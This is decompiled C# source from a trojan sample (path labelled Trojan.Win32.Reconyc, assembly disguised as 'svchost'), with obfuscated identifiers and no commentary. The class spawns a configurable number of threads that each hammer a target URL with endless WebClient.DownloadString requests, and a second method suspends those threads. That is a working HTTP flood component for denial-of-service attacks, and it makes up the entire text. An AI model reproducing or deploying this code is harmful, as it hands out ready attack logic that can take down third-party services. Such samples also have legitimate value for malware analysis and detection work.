// Decompiled with JetBrains decompiler // Type: ?1?.?18? // Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe using \u003F1\u003F; using System.Net; using System.Threading; namespace \u003F1\u003F { internal class \u003F18\u003F { private static ThreadStart[] \u003F130\u003F; private static Thread[] \u003F131\u003F; public static string \u003F129\u003F; private static \u003F18\u003F.\u003F19\u003F[] \u003F192\u003F; public static int \u003F134\u003F; public static void \u003F77\u003F() { \u003F18\u003F.\u003F131\u003F = new Thread[\u003F18\u003F.\u003F134\u003F]; \u003F18\u003F.\u003F130\u003F = new ThreadStart[\u003F18\u003F.\u003F134\u003F]; \u003F18\u003F.\u003F192\u003F = new \u003F18\u003F.\u003F19\u003F[\u003F18\u003F.\u003F134\u003F]; for (int index = 0; index < \u003F18\u003F.\u003F134\u003F; ++index) { \u003F18\u003F.\u003F192\u003F[index] = new \u003F18\u003F.\u003F19\u003F(\u003F18\u003F.\u003F129\u003F); \u003F18\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F18\u003F.\u003F192\u003F[index].\u003F23\u003F); \u003F18\u003F.\u003F131\u003F[index] = new Thread(\u003F18\u003F.\u003F130\u003F[index]); \u003F18\u003F.\u003F131\u003F[index].Start(); } } public static void \u003F78\u003F() { for (int index = 0; index < \u003F18\u003F.\u003F134\u003F; ++index) { try { \u003F18\u003F.\u003F131\u003F[index].Suspend(); } catch { } } } private class \u003F19\u003F { private string \u003F129\u003F; private WebClient \u003F193\u003F = new WebClient(); public \u003F19\u003F(string _param1) => this.\u003F129\u003F = _param1; public void \u003F23\u003F() { while (true) { try { this.\u003F193\u003F.DownloadString(this.\u003F129\u003F); } catch { } } } } } }